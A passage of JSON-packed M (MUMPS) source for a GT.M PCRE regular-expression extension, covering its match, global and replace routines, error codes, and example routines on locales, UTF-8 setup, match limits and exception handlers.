reclimit\n\t;\n\t; capture is case insensitive and optional string with \"|\" joined\n\t;\tnames or indexes to be capture\n\t;\n\t; extended options:\n\t;   \"NAMED_ONLY\" - capture only named groups\n\t;   \"OVECTOR\"    - return additional ovector data\n\t;\n\td protect\n\t;\n\tn namedonly,ovector,ref,o,l,i,j,s,c,begin\n\t;\n\ts options=$g(options),(namedonly,ovector)=0\n\tf i=1:1:$l(options,\"|\") d\n\t. s o=$zco($p(options,\"|\",i),\"u\")\n\t. i o=\"NAMED_ONLY\" s namedonly=1,$p(options,\"|\",i)=\"\"\n\t. i o=\"OVECTOR\" s ovector=1,$p(options,\"|\",i)=\"\"\n\ts:namedonly options=options_\"|NO_AUTO_CAPTURE\"\n\t;\n\tk match\n\ts ref=$$compile(.pattern,.options,$g(locale),$g(mlimit,0),$g(reclimit,0))\n\ts l=$$exec(.ref,.subject)\n\ti $d(capture) d\n\t. s c=\"|\"_capture_\"|\"\n\t. ; ovector indexed data\n\t. i 'namedonly f i=0:1:l-1 d:c[(\"|\"_i_\"|\") store(.ref,.i,.match,.ovector)\n\t. ; named matches data\n\t. f i=1:1 s s=$$nametable(.ref,.i,.j) q:s=\"\"  d:c[(\"|\"_s_\"|\") store(.ref,.j,.match,.ovector,.s)\n\te  d\n\t. i 'namedonly f i=0:1:l-1 d store(.ref,.i,.match,.ovector)\n\t. f i=1:1 s s=$$nametable(.ref,.i,.j) q:s=\"\"  d store(.ref,.j,.match,.ovector,.s)\n\td free(.ref)\n\tq:$q l q\n\nglobal(subject,pattern,match,capture,options,locale,mlimit,reclimit)\n\t; options is the same as for match^pcre, extended options:\n\t;   \"OVECTOR\"    - return additional ovector data\n\t;   \"GROUPED\"    - group the result in match array by pattern groups\n\t;   \"NAMED_ONLY\" - capture only named patterns\n\t;\n\t; see pcredemo.c and pcreccp.cc from PCRE for comments on procedure\n\t; for Perl like global matching\n\t;\n\td protect\n\t;\n\tn ref,c,o,ovector,byref,namedonly,utf8,crlf,start,end,matches,empty,skip,round,i,j,s,n,q\n\tk match\n\t;\n\t; determine additional options and remove them before calling the compile^pcre\n\ts options=$g(options),(ovector,byref,namedonly)=0\n\tf i=1:1:$l(options,\"|\") d\n\t. s o=$zco($p(options,\"|\",i),\"u\")\n\t. i o=\"NAMED_ONLY\" s namedonly=1,$p(options,\"|\",i)=\"\"\n\t. i o=\"GROUPED\" s byref=1,$p(options,\"|\",i)=\"\"\n\t. i o=\"OVECTOR\" s ovector=1,$p(options,\"|\",i)=\"\"\n\ts:namedonly options=options_\"|NO_AUTO_CAPTURE\"\n\t;\n\t; compile the pattern\n\ts ref=$$compile(.pattern,.options,$g(locale),$g(mlimit,0),$g(reclimit,0))\n\t;\n\ts:$d(capture) c=\"|\"_capture_\"|\"\n\ts byref=$g(byref,0)\n\t;\n\t; check pattern options for UTF8 and double char new line\n\ts o=\"|\"_$$fullinfo(.ref,\"OPTIONS\")_\"|\"\n\ts utf8=$s(o[\"|UTF8|\":1,1:0)\n\ts crlf=$s(o[\"|NL_CRLF|\":1,o[\"|NL_ANY|\":1,o[\"|NL_ANYCRLF|\":1,1:0)\n\t;\n\t; if none check the PCRE build options\n\ti crlf=0 d\n\t. s o=$$config(\"NEWLINE\")\n\t. s crlf=$s(o=\"NL_CRLF\":1,o=\"NL_ANY\":1,o=\"NL_ANYCRLF\":1,1:0)\n\t;\n\ts (start,round,i)=1,(empty,skip,q)=0\n\ts end=$l(subject)+1\n\tf  d  q:start>end!q\n\t. i empty d\n\t.. s matches=$$exec(.ref,.subject,\"NOTEMPTY_ATSTART|ANCHORED\",.start) ; unwind this call to optimize\n\t.. q:matches ; quit this do, leave empty=1, store the matches\n\t..\n\t.. ; advance if no match & clear empty\n\t.. s start=start+1\n\t.. i start>end s q=1 q\n\t..\n\t.. ; skip LF if CR was before and CRLF mode\n\t.. s:crlf&(($ze(subject,start-1)=$c(13))&($ze(subject,start)=$c(10))) start=start+1\n\t..\n\t.. ; skip if in a middle of UTF char\n\t.. i utf8 f  q:start'<end!($zbitand($c(0)_$ze(subject,start),$c(0)_$c(192))=$c(0)_$c(128))  s start=start+1\n\t..\n\t.. ; take into account skipped chars\n\t.. s skip=1,empty=0\n\t. e  d\n\t.. s matches=$$exec(.ref,.subject,,.start)\n\t.. i 'matches s q=1 q\n\t.\n\t. q:q\n\t. i skip s skip=0 q\n\t.\n\t. i $d(c) d\n\t.. ; ovector indexed data\n\t.. i 'namedonly f i=0:1:matches-1 d:c[(\"|\"_i_\"|\") gstore(.ref,.i,.match,.round,.byref,.ovector)\n\t.. ; named matches data\n\t.. f i=1:1 s s=$$nametable(.ref,.i,.n) q:s=\"\"  d:c[(\"|\"_s_\"|\") gstore(.ref,.n,.match,.round,.byref,.ovector,.s)\n\t. e  d\n\t.. i 'namedonly f i=0:1:matches-1 d gstore(.ref,.i,.match,.round,.byref,.ovector)\n\t.. f i=1:1 s s=$$nametable(.ref,.i,.n) q:s=\"\"  d gstore(.ref,.n,.match,.round,.byref,.ovector,.s)\n\t. s round=round+1\n\t.\n\t. s start=$$ovector(.ref,1)+1\n\t. s empty=(($$ovector(.ref,0)+1)=start)\n\td free(.ref)\n\tq:$q round-1 q\n\n\nreplace(subject,pattern,subst,first,last,options,locale,mlimit,reclimit)\n\t; see $$match^pcre and $$compile^pcre for options, locale, mlimit and\n\t;\treclimit\n\t;\n\t; subst is a string to replace with all occurrences of matched data\n\t; \t\\n (like \\1, \\2, ..) is a back ref for the n-th captured group\n\t;\t\\{name} is back ref for a named captured data\n\t;\t\\\\ is replaced with \\\n\t;\n\t; first is the n-th match in the subject where the substitution begins,\n\t;\t1 .. n-1 matches are not substituted\n\t;\tdefaults to 1\n\t;\n\t; last is the n-th match in the subject where the substitution ends,\n\t;\tn+1 .. matches are not substituted\n\t;\tdefaults to 0 (no limit)\n\t;\n\tn ref,o,n,i,j,begin,end,offset,backref,boffset,value,s\n\ts ref=$$compile(.pattern,,$g(locale),$g(mlimit,0),$g(reclimit,0))\n\t;\n\t; prepare back reference stack\n\td global^pcre(.subst,\"\\\\(?:(?<ref>(?:\\d+|\\\\))|{(?<ref>[^}]+)})\",.backref,,\"ovector|dupnames\")\n\t;\n\ts options=$g(options)_\"|ovector\"\n\t; silently remove \"NAMED_ONLY\" and \"GROUPPED\" options\n\tf i=1:1:$l(options,\"|\") d\n\t. s o=$zco($p(options,\"|\",i),\"u\")\n\t. s:o=\"NAMED_ONLY\"!(o=\"GROUPED\") $p(options,\"|\",i)=\"\"\n\tq:'$$global(.subject,.pattern,.n,,.options,$g(locale),$g(mlimit,0),$g(reclimit,0)) subject\n\t;\n\t; perform the substitution on matched subject parts\n\ts first=$g(first,1),last=$g(last,0)\n\ts offset=0,i=\"\"\n\tf  s i=$o(n(i)) q:i=\"\"  d:i'<first  q:last>0&(i'<last)\n\t.\n\t. ; replace back refs in subst (s) with captured data\n\t. s s=subst,boffset=0,j=\"\"\n\t. f  s j=$o(backref(j)) q:j=\"\"  d\n\t..\n\t.. ; determine the back ref type and get the value\n\t.. ; silently ignore invalid refs\n\t.. s value=$s(backref(j,\"ref\")=\"\\\":\"\\\\\",1:$g(n(i,backref(j,\"ref\"))))\n\t..\n\t.. ; replace back ref with the value\n\t.. s begin=backref(j,0,0)\n\t.. s end=backref(j,0,1)\n\t.. s $ze(s,begin+boffset,end+boffset)=value\n\t.. s boffset=boffset-(end+1-begin)+$l(value)\n\t.\n\t. ; replace matched data with prepared s\n\t. s begin=n(i,0,0)\n\t. s end=n(i,0,1)\n\t.\n\t. s $ze(subject,begin+offset,end+offset)=s\n\t.\n\t. ; substitute empty matches also (Perl style)\n\t. ;\n\t. ; perl -e '$_ = \"aa\"; s/(b*|a)/Xy/g; print \"$_\\n\"'\n\t. ; w $$replace^pcre(\"aa\",\"(b*|a)\",\"Xy\")\n\t. ; \n\t. ; perl -e '$_ = \"aa\"; s/(b*|aa)/Xy/g; print \"$_\\n\"'\n\t. ; w $$replace^pcre(\"aa\",\"(b*|aa)\",\"Xy\")\n\t. ; \n\t. ; perl -e '$_ = \"aaa\"; s/(b*|aa)/Xy/g; print \"$_\\n\"'\n\t. ; w $$replace^pcre(\"aaa\",\"(b*|aa)\",\"Xy\")\n\t. ;\n\t. s:begin>end $ze(subject,begin+offset,begin+offset+1)=s_$ze(subject,begin+offset,begin+offset+1)\n\t.\n\t. s offset=offset-(end+1-begin)+$l(s)\n\tq:$q subject q\n\nfree(ref)\n\td protect\n\tn code\n\ts code=$&pcre.free(.ref)\n\ts:code $ec=\",U\"_(-code)_\",\"\n\tq\n\nstackusage()\n\t; return the approximate amount of stack (in bytes) used per\n\t; recursion in pcre_exec()\n\tq -$&pcre.stackusage()\n\n\n; Exception Handling\n;\n; Error conditions are handled by setting the $zc to user codes, see labels\n; at the end of this file. When neither $zt nor $et are set by the user,\n; the default handler (trap^pcre) is used within $zt mechanism.\n;\n; The default handler will write out the details of the exception, and\n; depending on the caller type, it will re raise the exception. This will\n; lead to:\n; a) writing the exception details, when called from the GT.M prompt,\n; b) writing the exception details, the M code place when the pcre routine\n;    was called, and terminating the GT.M image.\n;\n; The user should define own exception handler using $zt or $et, see\n; pcreexample.m for example exception handlers.\n;\n\nprotect ; try setup $zt with default handler\n\t;\n\t; \"n protect\" in the $zt is a marker for trap^pcre\n\ts:'$l($et)&(($zt=\"B\")!'$l($zt)) $zt=\"n protect d trap zg \"_($zl-2)\n\tq\n\ntrap(stack)\n\t; see U* labels at the bottom of this file, some lvns are mandatory\n\t; all exceptions are passed through if we wasn't called from direct mode\n\t;\n\tn zl,ref,msg,place\n\t;\n\t; take the $zl if in default handler setup by protect^trap\n\ts zl=$p($zt,\"n protect d trap zg \",2)\n\t;\n\t; clear the $zt\n\ts $zt=\"\"\n\t;\n\t; source location from either stack argument, zl (default handler), or $st-2\n\ts place=$st($g(stack,$g(zl,$st-1)-1),\"PLACE\")\n\t;\n\t; clear location if called from direct mode\n\ts:place[\"^GTM$DMOD\" place=\"\"\n\t;\n\ts ref=$p($ec,\",\",$l($ec,\",\")-1)\n\ti $l($t(@ref)) d\n\t. u $p\n\t. w @$p($t(@ref),\";\",2)\n\t. ; %PCRE-E-COMPILE additional message\n\t. w:ref=\"U16392\"&$g(erroffset) \" in \"_$e($g(pattern),1,erroffset)_\" <-- HERE\"\n\t. w !\n\t. ; write the location it has any meaning\n\t. w:$l(place) \"%PCRE-I-RTSLOC,          At M source location \",place,!\n\te  d\n\t. w $p($zs,\",\",3,4),!\n\t. w \"%GTM-I-RTSLOC,          At M source location \",$p($zs,\",\",2),!\n\t; \n\t; re raise the exception if in a default handler and not called from the direct mode\n\ts:$l(place)&$g(zl,0) $ec=$ec\n\tq\n\n; XC API specific\n;\nU16384\t;\"%PCRE-E-ARGSMALL, Actual argument count is too small\"\nU16385\t;\"%PCRE-E-OPTNAME, Unknown option name \"_$p($g(erropt),\"|\")\nU16386\t;\"%PCRE-E-OBJLIMIT, Maximum number of objects exceeded\"\nU16387\t;\"%PCRE-E-INVREF, Invalid object reference\"\nU16388\t;\"%PCRE-E-INTBUF, Internal buffer too small\"\nU16389\t;\"%PCRE-E-MALLOC, Could not allocate memory\"\nU16390\t;\"%PCRE-E-STUDY, Pattern study failed: \"_$g(err,\"unknown reason\")\nU16391\t;\"%PCRE-E-LOCALE, Invalid locale name \"_$g(locale)\nU16392\t;\"%PCRE-E-COMPILE, Pattern compilation failed, \"_$g(err,\"unknown reason\")\nU16393\t;\"%PCRE-E-LENGTH, Invalid length value specified\"\n\n; PCRE specific\n;\n; NOTES:\n;\n;\tU16401 exception is never raised; when pcre_exec() returns -1\n;       (i.e. NOMATCH) the pcre.exec returns 0, so no exception will\n;\tever raise, NOMATCH is not an uncommon situation\n;\n;\tU16388 is raised when pcre_exec() returns 0, i.e. the ovector\n;\twas too small; considering that ovector size is not controlled\n;\tin M world, it is an exception here\n;\nU16401\t;\"%PCRE-E-NOMATCH, The subject string did not match the pattern\"\nU16402\t;\"%PCRE-E-NULL, Either compiled code or subject was passed as NULL, or ovector was NULL\"\nU16403\t;\"%PCRE-E-BADOPTION, An unrecognized bit was set in the options argument\"\nU16404\t;\"%PCRE-E-BADMAGIC, The magic number is not present in compiled code\"\nU16405\t;\"%PCRE-E-UNKNOWNOPCODE, While running the pattern match, an unknown item was encountered in the compiled pattern\"\nU16406\t;\"%PCRE-E-NOMEMORY, Call via pcre_malloc() or pcre_stack_malloc() failed\"\nU16407\t;\"%PCRE-E-NOSUBSTRING, No substring\"\nU16408\t;\"%PCRE-E-MATCHLIMIT, Match limit was reached\"\nU16409\t;\"%PCRE-E-CALLOUT, Callout function wanted to yield a distinctive error code\"\nU16410\t;\"%PCRE-E-BADUTF8, A string that contains an invalid UTF-8 byte sequence was passed as a subject\"\nU16411\t;\"%PCRE-E-BADUTF8OFFSET, The value of startoffset did not point to the beginning of a UTF-8 character or the end of the subject\"\nU16412\t;\"%PCRE-E-PARTIAL, The subject string did not match, but it did match partially\"\nU16414\t;\"%PCRE-E-INTERNAL, An unexpected internal error has occurred\"\nU16415\t;\"%PCRE-E-BADCOUNT, The value of the ovecsize argument is negative\"\nU16416\t;\"%PCRE-E-DFAUITEM, Unsupported item in the pattern, for e.g. \\C o a back reference\"\nU16417\t;\"%PCRE-E-DFAUCOND, Unsupported condition item, for e.g. a back reference for a condition, or a test for recursion in a specific group\"\nU16418\t;\"%PCRE-E-DFAUMLIMIT, Match limits are unsupported for DTA matching\"\nU16419\t;\"%PCRE-E-DFAWSSIZE, Out of space in the workspace vector\"\nU16420\t;\"%PCRE-E-DFARECURSE, The output vector was not large enough while processing recursive subpattern\"\nU16421\t;\"%PCRE-E-RECURSIONLIMIT, The internal recursion limit was reached\"\nU16423\t;\"%PCRE-E-BADNEWLINE, An invalid combination of NL_xxx options was given\"\nU16424\t;\"%PCRE-E-BADOFFSET, The startoffset was negative or greater than the length of the value in length\"\nU16425\t;\"%PCRE-E-SHORTUTF8, The subject string ends with a truncated UTF-8 character and the PCRE_PARTIAL_HARD option is set\"\nU16426\t;\"%PCRE-E-RECURSELOOP, A recursion loop within the pattern was detected\"\nU16427\t;\"%PCRE-E-JITSTACKLIMIT, The memory available for the just-in-time processing stack is not large enough\"\n"
  },
  {
    "path": "samples/M/pcreexamples.m",
    "content": ";\n;  GT.M PCRE Extension\n;  Copyright (C) 2012 Piotr Koper <piotr.koper@gmail.com>\n;\n;  This program is free software: you can redistribute it and/or modify\n;  it under the terms of the GNU Affero General Public License as\n;  published by the Free Software Foundation, either version 3 of the\n;  License, or (at your option) any later version.\n;\n;  This program is distributed in the hope that it will be useful,\n;  but WITHOUT ANY WARRANTY; without even the implied warranty of\n;  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n;  GNU Affero General Public License for more details.\n;\n;  You should have received a copy of the GNU Affero General Public License\n;  along with this program.  If not, see <http://www.gnu.org/licenses/>.\n;\n\n\n\n; GT.M PCRE Extension Examples\n;\n; see pcre.m for comments on routines parameters and all possible values for\n; the options\n;\npcreexamples ;GT.M PCRE Extension Examples\n\t;1.0;Initial release;pkoper\n\td routines\n\tq\n\n\n; GT.M PCRE Extension API\n; The shining examples\n;\n\ntest\n\t; Test the subject for the match\n\tw $$test^pcre(\"The quick brown fox jumps over the lazy dog\",\"fox\"),!\n\tw $$test^pcre(\"The quick brown fox jumps over the lazy dog\",\"FoX\",\"caseless\"),!\n\tq\n\nmatch\n\tn n\n\t; Simple match\n\tw $$match^pcre(\"The quick brown fox jumps over the lazy dog\",\" (\\w+) \",.n),! zwr\n\n\t; Match with a named groups\n\tw $$match^pcre(\"The quick brown fox jumps over the lazy dog\",\"(?<first>\\w+) (?<second>\\w+)\",.n),! zwr\n\n\t; Match with a named group and limit the output to only the \"second\"\n\tw $$match^pcre(\"The quick brown fox jumps over the lazy dog\",\"(?<first>\\w+) (?<second>\\w+)\",.n,\"second\"),! zwr\n\n\t; Match with a named group with only named patterns\n\tw $$match^pcre(\"The quick brown fox jumps over the lazy dog\",\"(?<first>\\w+) (?<second>\\w+)\",.n,,\"named_only\"),! zwr\n\tq\n\nglobal\n\tn n\n\t; Global match\n\tw $$global^pcre(\"The quick brown fox jumps over the lazy dog\",\"(\\w+)\",.n),! zwr\n\n\t; Global match with a named groups\n\tw $$global^pcre(\"The quick brown fox jumps over the lazy dog\",\"(?<first>\\w+)\\s+(?<second>\\w+)\",.n),! zwr\n\n\t; Global match with grouped captured data\n\tw $$global^pcre(\"The quick brown fox jumps over the lazy dog\",\"(?<first>\\w+)\\s+(?<second>\\w+)\",.n,,\"grouped\"),! zwr\n\n\t; Global match with grouped captured data and only named patterns\n\tw $$global^pcre(\"The quick brown fox jumps over the lazy dog\",\"(?<first>\\w+)\\s+(?<second>\\w+)\",.n,,\"grouped|named_only\"),! zwr\n\tq\n\nreplace\n\t; Just the replace\n\tw $$replace^pcre(\"The quick brown fox jumps over the lazy dog\",\"brown\",\"yellow\"),!\n\n\t; Change the word order\n\tw $$replace^pcre(\"The quick brown fox jumps over the lazy dog\",\"(\\w+)\\s+(\\w+)\",\"\\2 \\1\"),!\n\n\t; Change the word order with named groups\n\tw $$replace^pcre(\"The quick brown fox jumps over the lazy dog\",\"(?<first>\\w+)\\s+(?<second>\\w+)\",\"\\{second} \\{first}\"),!\n\n\t; Escape the \\ sequence\n\tw $$replace^pcre(\"The quick brown fox jumps over the lazy dog\",\"(?<first>\\w+)\\s+(?<second>\\w+)\",\"\\{second} \\\\{first}\"),!\n\n\t; More \\ chars\n\tw $$replace^pcre(\"The quick brown fox jumps over the lazy dog\",\"(?<first>\\w+)\\s+(?<second>\\w+)\",\"\\\\\\{second} \\\\\\\\{first}\"),!\n\tq\n\n\n\n; PCRE API\n; Low level PCRE API examples\n;\napi\n\tn subject,pattern,options,offset,ref,count,i,begin,end,s,name,n\n\n\t; Setup exception trap as in myexception2^pcreexamples\n\ts $zt=\"d trap^pcre(\"_$st_\") zg \"_$zl_\":apitrap^pcreexamples\"\n\n\ts subject=\"The quick brown fox \"_$c(10)_\"jumps over the lazy dog\"\n\ts pattern=\"(?<all>(.*?(?<red>F\\S+).*?)(?<high>\\w+))\"\n\n\t; options are case insensitive, as well as all stringified option\n\t; names for all functions in this extension\n\ts options=\"CASELESS|multiLINE|NL_CrLf|NO_AUTO_CAPTURE|dotall\"\n\ts offset=5 ; start the match with \"quick\"\n\n\t; Compile the pattern\n\ts ref=$$compile^pcre(.pattern,.options) ; pass by the reference\n\n\t; Run the match\n\ts count=$$exec^pcre(.ref,.subject,,.offset)\n\tw \"count: \",count,!\n\n\t; To access the ovector array $$ovector^pcre and $$ovecsize^pcre can\n\t; be used.\n\t;\n\t; ovector array size is always (n + 1) * 3, where n is a number of\n\t; possible capture strings in the submitted pattern for the\n\t; $$compile^pcre(). The exact number of usable pairs of integers in\n\t; ovector array is by the $$exec^pcre().\n\t;\n\tw \"ovecsize: \",$$ovecsize^pcre(.ref),!\n\n\t; Get the captured data in an old way\n\tf i=0:1:count-1 d\n\t. s begin=$$ovector^pcre(.ref,i*2)+1\n\t. s end=$$ovector^pcre(.ref,i*2+1)\n\t. s s=$ze(subject,begin,end)\n\t. w i,\": \",s,!\n\n\t; See what's in the nametable\n\t;\n\t; $$nametable^pcre returns i-th element of nametable array, where the\n\t; index of the ovector array is passed by the reference in n, and the\n\t; return value is a name.\n\t;\n\tf i=1:1 s name=$$nametable^pcre(.ref,.i,.n) q:name=\"\"  d\n\t. s begin=$$ovector^pcre(.ref,n*2)+1 ; the returned subject index in n\n\t. s end=$$ovector^pcre(.ref,n*2+1)\n\t. s s=$ze(subject,begin,end)\n\t. w name,\": \",s,!\n\n\t; Use $$substring^pcre() to get the captured string instead of playing\n\t; with $$ovector^pcre().\n\tf i=0:1:count-1 w i,\": \",$$substring^pcre(.ref,.i),!\n\n\t; .. and get the begin and the end index of the captured data in the\n\t; subject, as a side effect.\n\tf i=0:1:count-1 d\n\t. w i,\": \",$$substring^pcre(.ref,.i,.begin,.end),!\n\t. w \"begin: \",begin,!\n\t. w \"end: \",end,!\n\n\t; Get some details on compiled pattern\n\tw \"options: \",$$fullinfo^pcre(.ref,\"OPTIONS\"),!\n\tw \"capture count: \",$$fullinfo^pcre(.ref,\"CAPTURECOUNT\"),!\n\tw \"jit: \",$$fullinfo^pcre(.ref,\"JIT\"),!\n\tw \"min length: \",$$fullinfo^pcre(.ref,\"MINLENGTH\"),!\n\n\t; Free the data internally allocated for the PCRE structures\n\t;\n\td free^pcre(.ref)\n\n\t; Finally, raise an example exception\n\t;\n\t; see \"Exception Handler Examples\"\n\t; \n\tw $t(api+4^pcreexamples),!\n\tw $$compile^pcre(\"aa)bb\"),!\n\tw \"should never be written, the %PCRE-E-COMPILE should be raised\",!\n\tq\n\napitrap\n\tw \"apitrap^pcreexamples\",!\n\tq\n\n\n\n\n; Perl5 Global Match Compatibility\n;\n; Global match as with /g switch on regular expressions in Perl5 is supported.\n;\n; See $$global^pcre and $$replace^pcre examples.\n\n\n; Compatibility Case: Empty Matches\n;\n\n; Global Match\n;\np5global\n\tw \"$ perl -e '$_ = \"\"aa\"\"; print \"\"1: $1\\n\"\" while /(b*|aa)/mg'\",!\n\tzsy \"perl -e \"\"\\$_ = \\\"\"aa\\\"\"; print \\\"\"1: \\$1\\n\\\"\" while /(b*|aa)/mg\"\"\"\n\td global^pcre(\"aa\",\"b*|aa\",.n) zwr\n\tq\n\n; Global Replace\n;\np5replace\n\tw \"$ perl -e '$_ = \"\"aa\"\"; s/(b*|a)/Xy/g; print \"\"$_\\n\"\"'\",!\n\tzsy \"perl -e \"\"\\$_ = \\\"\"aa\\\"\"; s/(b*|a)/Xy/g; print \\\"\"\\$_\\n\\\"\"\"\"\"\n\tw $$replace^pcre(\"aa\",\"(b*|a)\",\"Xy\"),!\n\n\tw \"$ perl -e '$_ = \"\"aa\"\"; s/(b*|aa)/Xy/g; print \"\"$_\\n\"\"'\",!\n\tzsy \"perl -e \"\"\\$_ = \\\"\"aa\\\"\"; s/(b*|aa)/Xy/g; print \\\"\"\\$_\\n\\\"\"\"\"\"\n\tw $$replace^pcre(\"aa\",\"(b*|aa)\",\"Xy\"),!\n\n\tw \"$ perl -e '$_ = \"\"aaa\"\"; s/(b*|aa)/Xy/g; print \"\"$_\\n\"\"'\",!\n\tzsy \"perl -e \"\"\\$_ = \\\"\"aaa\\\"\"; s/(b*|aa)/Xy/g; print \\\"\"\\$_\\n\\\"\"\"\"\"\n\tw $$replace^pcre(\"aaa\",\"(b*|aa)\",\"Xy\"),!\n\tq\n\n\n; Compatibility Case: New Line Characters\n;\n\n; Multi-line with LF\n;\np5lf\n\tw \"perl -e '$_ = \"\"aa\\nbb\"\"; print \"\"1: $1\\n\"\" while /(.*)/mg'\",!\n\tzsy \"perl -e \"\"\\$_ = \\\"\"aa\\nbb\\\"\"; print \\\"\"1: \\$1\\n\\\"\" while /(.*)/mg\"\"\"\n\td global^pcre(\"aa\"_$c(10)_\"bb\",\".*\",.n,,\"multiline|nl_lf\") zwr\n\tq\n\n; Various New Line Specs\n;\np5nl\n\td global^pcre(\"aa\"_$c(13)_$c(10)_\"bb\",\".*\",.n,,\"multiline|nl_lf\") zwr\n\td global^pcre(\"aa\"_$c(13)_$c(10)_\"bb\",\".*\",.n,,\"multiline|nl_cr\") zwr\n\td global^pcre(\"aa\"_$c(13)_$c(10)_\"bb\",\".*\",.n,,\"multiline|nl_crlf\") zwr\n\tq\n\n\n\n; PCRE library version\n;\nversion\n\tw $$version^pcre,!\n\tq\n\n; PCRE compile time defaults\n;\nnewline\n\tw $$config^pcre(\"NEWLINE\"),!\n\tq\n\nutf8support\n\tw $$config^pcre(\"UTF8\"),!\n\tq\n\n; Stack Usage\n;\n; PCRE's stack usage discover procedure\n;\nstackusage\n \tw $$stackusage^pcre,!\n\tq\n\n\n\n; Locale Support Examples\n;\n; Polish language has been used as an example for I18N support in PCRE.\n;\n\n; The example word \"dąb\" (encoded here in UTF-8) is an \"oak\" in Polish.\n;\n; The second letter in \"dąb\" is <aogonek> (I18N) which is:\n;   $c(177) in ISO8859-2,\n;   $c(261) in UTF-8,\n; see http://en.wikipedia.org/wiki/Polish_code_pages for complete listing\n;\n\n; Note of $CHAR(n) in different GT.M character modes:\n;\n;\tIn UTF-8 mode $c(177) will return two octet encoded UTF-8 char is\n;\tprobably not an expected result when working with single octet ISO\n;\tencoded chars.\n;\n;\tUse $zch(177) to create single octet ISO char, but be prepared for\n;\t%GTM-E-BADCHAR errors. Also the result of $l(), $a() and others might\n;\tbe not what is expected.\n;\n\n\n; Locale: C or POSIX (i.e. no localization)\n;\nnolocale\n\tw $zchset,!\n\tw $$match^pcre(\"d\"_$zch(177)_\"b\",\"\\w{3}\",.n,,,),! zwr\n\tq\n\n; Locale: ISO\n;\nisolocale\n\tw $zchset,!\n\tw $$match^pcre(\"d\"_$zch(177)_\"b\",\"\\w{3}\",.n,,,\"pl_PL\"),! zwr\n\tq\n\n; Locale: UTF-8\n;\nutflocale\n\t; M and UTF-8 mode\n\tw $$match^pcre(\"d\"_$zch(196)_$zch(133)_\"b\",\"\\w{3}\",.n,,\"UTF8|UCP\",\"pl_PL.UTF8\"),! zwr\n\n\t; UTF-8 mode only\n\tw $$match^pcre(\"d\"_$c(261)_\"b\",\"\\w{3}\",.n,,\"UTF8|UCP\",\"pl_PL.UTF8\"),! zwr\n\tq\n\n; Locale: environment ($LANG, $LC_CTYPE)\n;\n; Set the GT.M environment for LANG=\"pl_PL\" or LANG=\"pl_PL.UTF8\" to obtain\n; different results.\n;\nenvlocale\n\tw $ztrnlnm(\"LANG\"),!\n\tw $ztrnlnm(\"LC_CTYPE\"),!\n\tw $$match^pcre(\"d\"_$c(177)_\"b\",\"\\w{3}\",.n,,,\"env\"),! zwr\n\tw $$match^pcre(\"d\"_$zch(196)_$zch(133)_\"b\",\"\\w{3}\",.n,,\"UTF8|UCP\",\"pl_PL.UTF8\"),! zwr\n\tq\n\n\n; Notes on GT.M in UTF-8\n;\n;\tEnabling native support for UTF-8 in GT.M requires:\n;\t1) libicu\n;\t2) environment:\n;\t   gtm_chset=UTF-8\n;\t   gtm_icu_version=4.8\n;\t3) recompiled object files for UTF-8\n;\n;\n; Instructions for UTF-8 in Debian 6\n;\n;\t1) Install libicu (libicu48)\n;\t   $ apt-get install libicu48\n;\t2) append environment setup to GT.M's user .bash_profile\n;\t   export gtm_chset=UTF-8\n;\t   export gtm_icu_version=4.8\n;\t3) remove *.o files from the GT.M installation directory\n;\t   $ rm /opt/gtm/*.o\n;\t4) allow GT.M's user to write new object files\n;          $ chown gtm /opt/gtm\n;\n;\n; Startup errors in UTF-8 mode\n;\n; %GTM-E-INVOBJ, Cannot ZLINK object file due to unexpected format\n; %GTM-I-TEXT, Object compiled with CHSET=M which is different from $ZCHSET\n;\n; The above errors are written by the GT.M at the startup when the environment\n; has the correct setup for the UTF-8, but GT.M can't use already existing\n; object files for execution, because they were compiled for the M charset.\n; Remove all GT.M's object files like in step 3) in the \"Instructions for\n; UTF-8 in Debian 6\" above.\n;\n\n\n\n; Match Limits\n;\n;\tPCRE has built-in limits on internal matching and recursion.\n;\n;\tThose limits prevent the PCRE engine from a very long runs, especially\n;\twhen there would be no matches and all possible\tpaths in the match\n;\ttree must be checked.\n;\n;\tFunctions using $$compile^pcre and the $$compile^pcre itself allows\n;\tsetting MATCH_LIMIT and MATCH_LIMIT_RECURSION in optional arguments\n;\tnamed mlimit and reclimit:\n;\n;\t  $$compile^pcre(pattern,options,locale,mlimit,reclimit)\n;\t  $$match^pcre(subject,pattern,match,capture,options,locale,mlimit,reclimit)\n;\t  $$global^pcre(subject,pattern,match,capture,options,locale,mlimit,reclimit)\n;\t  $$replace^pcre(subject,pattern,subst,first,last,options,locale,mlimit,reclimit)\n;\n;\tIf the mlimit or reclimit are not specified, the PCRE library\n;\tcompilation time defaults are used.\n;\nlimits\n\tw \"Compile time (default) MATCH_LIMIT is: \",$$config^pcre(\"MATCH_LIMIT\"),!\n\tw \"Compile time (default) MATCH_LIMIT_RECURSION is: \",$$config^pcre(\"MATCH_LIMIT\"),!\n\tq\n\n; Example pattern with a very long run time\n;\nlongrun\n\tw $$match^pcre(\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"(\\D+|<\\d+>)*[!?]\",.n),! zwr\n\tw \"should never be written, the %PCRE-E-MATCHLIMIT should be raised\",!\n\tq\n\n; Equal to the longrun^pcreexamples, but corrected pattern\n;\nshortrun\n\tw $$match^pcre(\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"((?>\\D+)|<\\d+>)*[!?]\",.n),! zwr\n\tq\n\n; Enforced mlimit\n;\nenforcedlimit\n\tw $$match^pcre(\"aaaaaa\",\"(.)(.)\",.n,,,,2),! zwr\n\tw \"should never be written, the %PCRE-E-MATCHLIMIT should be raised\",!\n\tq\n\n\n\n; Exception Handling\n;\n; Error conditions are handled by setting the $zc to user codes, see labels at\n; the end of this file. When neither $zt nor $et are set by the user, the\n; default handler (trap^pcre) is used within $zt mechanism.\n;\n; The default handler will write out the details of the exception, and\n; depending on the caller type, it will re raise the exception. This will lead\n; to:\n; a) writing the exception details, when called from the GT.M prompt,\n; b) writing the exception details, the M code place when the pcre routine\n;    was called, and terminating the GT.M image.\n;\n; The user should define own exception handler using $zt or $et, see\n; pcreexamples.m for example exception handlers.\n;\n\n\n; Exception Handler Examples\n;\n\n; No handler\n;\nnohandler\n\ts ($ec,$et,$zt)=\"\"\n\ts x=$$compile^pcre(\"a)b\")\n\tw \"will never be written\",!\n\tq\n;\n; GTM>d nohandler^pcreexamples\n; 